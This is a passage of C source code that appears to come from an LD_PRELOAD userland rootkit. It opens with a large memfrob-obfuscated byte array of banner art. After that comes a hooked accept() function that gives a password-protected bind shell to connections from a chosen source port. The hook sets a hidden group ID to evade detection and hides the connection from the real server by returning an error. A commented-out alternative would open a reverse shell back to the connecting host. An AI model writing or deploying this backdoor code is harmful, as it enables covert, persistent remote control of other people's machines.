0x65, 6 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 7 | 0x65, 0x65, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0x20, 0xa, 0xa, 8 | 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0x65, 0x65, 9 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 10 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 11 | 0x65, 0x65, 0x65, 0x65, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0x20, 12 | 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0x65, 13 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 14 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 15 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 16 | 0xa, 0x20, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 17 | 0xa, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 18 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 19 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 20 | 0xa, 0xa, 0xa, 0x20, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 21 | 0xa, 0xa, 0xa, 0xa, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 22 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 23 | 0x65, 0x65, 0x65, 0x65, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 24 | 0xa, 0xa, 0xa, 0xa, 0xa, 0x20, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 25 | 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0x65, 0x65, 0x65, 0x65, 0x65, 26 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 27 | 0x65, 0x65, 0x65, 0x65, 0x65, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 28 | 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0x20, 0xa, 0xa, 0xa, 0xa, 29 | 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0x65, 0x65, 0x65, 30 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 31 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0xa, 0xa, 0xa, 0xa, 0xa, 32 | 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0x20, 0xa, 0xa, 33 | 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 34 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 35 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0xa, 0xa, 0xa, 36 | 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0x20, 37 | 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 38 | 0xa, 0xa, 0x65, 0x65, 0x65, 0xa, 0xa, 0xa, 0xa, 0x65, 0x65, 0x65, 39 | 0x65, 0x65, 0x65, 0x65, 0xa, 0xa, 0xa, 0xa, 0x65, 0x65, 0x65, 0xa, 40 | 0xa, 0xa, 0xa, 0x2, 0xa, 0x3, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 41 | 0xa, 0xa, 0xa, 0x20, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 42 | 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0x65, 0x65, 0x65, 0x65, 0x65, 43 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 44 | 0x65, 0x65, 0xa, 0xa, 0xa, 0xa, 0xa, 0x3, 0xa, 0x3, 0xa, 0xa, 45 | 0xa, 0xa, 0xa, 0xa, 0xa, 0x20, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 46 | 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0x65, 0x65, 0x65, 47 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 48 | 0x65, 0x65, 0x65, 0xa, 0xa, 0xa, 0xa, 0xa, 0x2, 0xa, 0x2, 0xa, 49 | 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0x20, 0xa, 0xa, 0xa, 0xa, 50 | 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 51 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 52 | 0x65, 0x65, 0x65, 0x65, 0x65, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 53 | 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0x20, 0xa, 0xa, 54 | 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 55 | 0xa, 0xa, 0xa, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 56 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x1a, 0xa, 0xa, 0xa, 0xa, 0x17, 0x65, 57 | 0x65, 0x65, 0x65, 0x65, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0x20, 58 | 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 59 | 0xa, 0xa, 0xa, 0xa, 0xa, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 60 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0xa, 0xa, 0xa, 0xa, 61 | 0x17, 0x65, 0x65, 0x65, 0x65, 0x65, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 62 | 0xa, 0x20, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 63 | 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0x65, 0x65, 0x65, 0x65, 0x65, 64 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x56, 0x56, 0x56, 65 | 0x56, 0x56, 0x65, 0x65, 0x65, 0x65, 0x65, 0xa, 0xa, 0xa, 0xa, 0xa, 66 | 0xa, 0xa, 0xa, 0x20, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 67 | 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0x65, 0x65, 0x65, 68 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0xa, 69 | 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 0xa, 70 | 0xa, 0xa, 0xa, 0xa, 0xa, 0x20, 0xa, 0xa, 0xa, 0x65, 0x65, 0x65, 71 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 72 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 73 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 74 | 0x65, 0x65, 0x65, 0x65, 0xa, 0xa, 0xa, 0x20, 0x65, 0x65, 0x65, 0x65, 75 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 76 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 77 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 78 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x20, 0x65, 0x65, 79 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 80 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 81 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 82 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x20, 83 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 84 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 85 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 86 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 87 | 0x65, 0x20, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 88 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 89 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 90 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 91 | 0x65, 0x65, 0x65, 0x20, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 92 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 93 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 94 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 95 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x20, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 96 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 97 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 98 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 99 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x20, 0x65, 0x65, 0x65, 0x65, 100 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 101 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 102 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 103 | 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x65, 0x20, 0x20, 0x23, 104 | 0x23, 0x6f, 0x44, 0x40, 0x45, 0x53, 0xa, 0x5e, 0x42, 0x4f, 0xa, 0x59, 105 | 0x42, 0x4f, 0x46, 0x46, 0xb, 0x20, 0x20, 0x20, 106 | }; 107 | 108 | /* 109 | * accept() hook. If connection comes from our port, use the socket for a bind 110 | * shell. Alternatively connect back over our hidden port. 111 | */ 112 | 113 | int (*o_accept)(int, struct sockaddr *, socklen_t *); 114 | int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen) { 115 | 116 | #ifdef DEBUG 117 | fprintf(stderr, "accept() called!\n"); 118 | #endif 119 | 120 | if (!o_accept) 121 | o_accept = dlsym(RTLD_NEXT, "accept"); 122 | 123 | if (getegid() == GID) 124 | return o_accept(sockfd, addr, addrlen); 125 | 126 | socklen_t mylen; 127 | struct sockaddr_in mysa; 128 | struct sockaddr_in *sockaddrptr; 129 | mylen = sizeof(mysa); 130 | 131 | int check; 132 | 133 | if (addr == NULL) { 134 | check = o_accept(sockfd, (struct sockaddr *)&mysa, &mylen); 135 | sockaddrptr = &mysa; 136 | } else { 137 | check = o_accept(sockfd, addr, addrlen); 138 | sockaddrptr = (struct sockaddr_in *)addr; 139 | } 140 | 141 | if (sockaddrptr && ntohs(sockaddrptr->sin_port) == SOURCEPORT) { 142 | /* 143 | // uncomment and comment out the rest to connect via a reverse shell instead 144 | struct in_addr ip = sockaddrptr->sin_addr; 145 | char ip_as_str[INET_ADDRSTRLEN]; 146 | inet_ntop(AF_INET, &ip, ip_as_str, INET_ADDRSTRLEN); 147 | int port = (int)strtol(HIDDENPORT, NULL, 16); 148 | backconnect(ip_as_str, port); 149 | */ 150 | 151 | pid_t pid; 152 | if ((pid = fork()) == 0) { 153 | char pwd[512]; 154 | write(check, "\n\nAUTHENTICATE: ", 16); 155 | read(check, pwd, 512); 156 | 157 | if (strstr(pwd, SHELL_PASS)) { 158 | 159 | memfrob(art, sizeof(art)); 160 | 161 | write(check, "\033[1m", strlen("\033[1m")); 162 | write(check, art, sizeof(art)); 163 | write(check, "\033[0m", strlen("\033[0m")); 164 | 165 | if (geteuid() == 0) 166 | setgid(GID); 167 | 168 | dup2(check, 0); 169 | dup2(check, 1); 170 | dup2(check, 2); 171 | 172 | execl("/bin/sh", "/bin/sh", (char *)NULL); 173 | } 174 | } 175 | 176 | if (pid != 0) { 177 | errno = ECONNABORTED; 178 | return -1; 179 | } 180 | } 181 | 182 | return check; 183 | } 184 | --------------------------------------------------------------------------------